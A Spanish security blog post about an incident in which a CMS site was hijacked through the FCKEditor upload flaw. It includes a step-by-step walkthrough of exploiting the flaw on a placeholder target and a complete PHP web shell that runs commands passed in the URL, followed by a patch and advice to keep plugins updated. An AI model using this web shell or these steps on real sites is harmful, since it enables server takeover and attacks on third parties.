Hackeando un CMS

Esta semana llegó a nuestro departamento el caso de una web que su hosting la bloqueaba continuamente. Al ponernos en contacto con el Hosting para ver qué es lo que pasaba nos informaron que era porque desde esa Web se realizaban multitud de ataques a otros sitios Web.

La Web, implementada en un CMS, en apariencia no tenía nada extraño. Se le pasaron herramientas muy usadas en nuestra empresa pero salvando algún falso positivo (comprobado posteriormente) no dio nada más. Salvo una de ellas, la más potente, que nos mostró lo siguiente:

fckeditor

Uhm..¿¿¿¿»fileupload», «$sCommand», «$sCurrentFolder»???? Veámos que pasa en el servidor.

Tirando de ssh y comandos múltiples de Linux, navegamos entre los entresijos de los directorios, en busca de algún log que cante como María «La Talegona»(xD). Tras algunas horas tirando de “cat”, “grep”, “tail”, “find” etc… descubrimos el punto vulnerable del sitio Web. El FCKEditor.

EL FCKEditor es un plugin para CMS, tanto Joomla como para Symphony que sirve para añadir opciones extra para la edición de artículos. Analizando los logs del servidor, pudimos observar que este era el punto vulnerable.

Pues bien, seguidamente analizamos todos los ficheros que aparecen en los logs y apuntan al FCKEditor. Aparecen varios ficheros, unos 5 en los que había un “crond” y un “lists.txt”. En ellos aparecen listados de ips a atacar, y el crond lanza un determinado ataque automático. También se obtiene otro fichero que tiene un listado de paquetes para instalar en el caso de que hiciera falta.

¿Pero cómo es posible que estuvieran subidos al servidor? El atacante utilizó la vulnerabilidad Php Upload en el FCKeditor para subir sus envenenados archivos y no con buenas intenciones.

Para explotar esta vulnerabilidad, hay que testear el enlace:

www.web-a-atacar.com/administrator/FCKeditor_2.6.4/editor/filemanager/connectors/uploadtest.html

Si no nos da algún error al colocar el enlace, debe aparecernos un menú muy simple para subir ficheros.  En donde primeramente podemos subir un .txt con formato PHP. Posteriormente presionamos “Send it to the Server” y nos aparecerá un mensaje informándonos del proceso.

En el cuadro Upload File URL: aparecerá en caso de haberse completado la subida correctamente, el archivo .txt. Pero para asegurarnos podemos probar el enlace:

www.web-a-atacar.com/userfiles/test.txt

Y debe mostrarse el contenido del fichero .txt que hemos subido. Obviamente si lo subimos en blanco, no mostrará nada y puede inducir a pensar que hemos errado o que no es atacable este fallo.

Confirmando que es vulnerable, si probamos con un fichero PHP nos tirará un error, solo permite txt pero ¿y entonces?. Un poquito de programación php y tendremos a tiro nuestro objetivo.

Editamos un fichero php que queramos subir, que contendrá el exploit, lo guardamos como txt quedando mas o menos de este modo:

<?php
$cmd  = $_GET[‘cmd’];
if(isset($cmd)) {
system($cmd);
}
?>
<html>
<head>
<meta http-equiv=»Content-Type» content=»text/html; charset=iso-8859-1″>
</head>
<p>Por favor entra el comando </p>
<form method=»GET» id=»Searchform»>
<input type=»text» name=»cmd»>
<input type=»submit» name=»submit» value=»Enviar”>
</form>
</body>
</html>

 

Si queremos ver el proceso más detalladamente, podemos crear un Proxy http para ver que se envía y que código contiene.

Al subir este último .php con extensión .txt nos dice que lo ha subido pero con la salvedad, de que en el cuadrito de texto “Uploaded File URL” aparecerá una ruta del tipo:

…/command.php/mifichero.txt

Para confirmar que es cierto, entramos a:

www.web-a-atacar.com/userfiles/command.php

Y “voilá” tendremos un mensaje que hemos editado anteriormente tal como:

Por favor entra el comando, debajo una cajita de texto y el botón “Enviar”.

Pero ¿qué ponemos en el cuadrito de texto? Pues hacemos una búsqueda  dependiendo el sistema en el que estemos si Linux o Windows (ls o dir) y apuntando al directorio que tenemos que intuir o investigar donde está instalado el plugin.

En nuestro caso lo haremos en Windows y unidad C: quedando:

dir C:\xampp\httpdocs\admin

Nos debe mostrar una serie de datos bastante reveladores, tal como número de serie del disco, fecha del directorio, etc…pero nos debemos centrar en los .css y .php, como login.css, login.php, etcétera los cuales pueden ser leídos para extraer información muy importante.

Por tanto, igual que podemos listar los directorios podemos modificarlos, pero no solo eso, hemos subido ese exploit que hace que podamos introducir determinadas ordenes, pero podemos subir otro que contengan variables de ataque a ips determinadas, como ya hemos comentado en el inicio de este artículo.

¿Soluciones? La misma de siempre, actualizar el plugin o si por fuerza mayor solo podemos usar ese,  debemos hacer un pequeño cambio en el fichero “upload.php”.

Debemos cambiar el código:

$sCurrentFolder  = GetCurrentFolder() ; por $sCurrentFolder = “/”;

Como véis, un bug en un plugin provoca que ese sitio sea punto de partida de ataques a diversas páginas, con el consiguiente problema con tu hosting, e incluso puede ocasionar problemas legales.

Y todo por no tener actualizado un plugin. Por ello, la continua exaltación de «actualizar, actualizar, actualizar» roza a veces el cansinismo pero si hay algo seguro en informática o en seguridad informática, es que estando a la orden del día en actualizaciones, se reduce enormemente el riesgo de intrusión-ataque.

Espero que haya sido revelador este artículo y podáis revisar, en caso de tenerlo, vuestro CMS en busca de plugins rebeldes en cuanto actualizaciones.

Un saludo desde mi plugin FCKEditor actualizado! xD!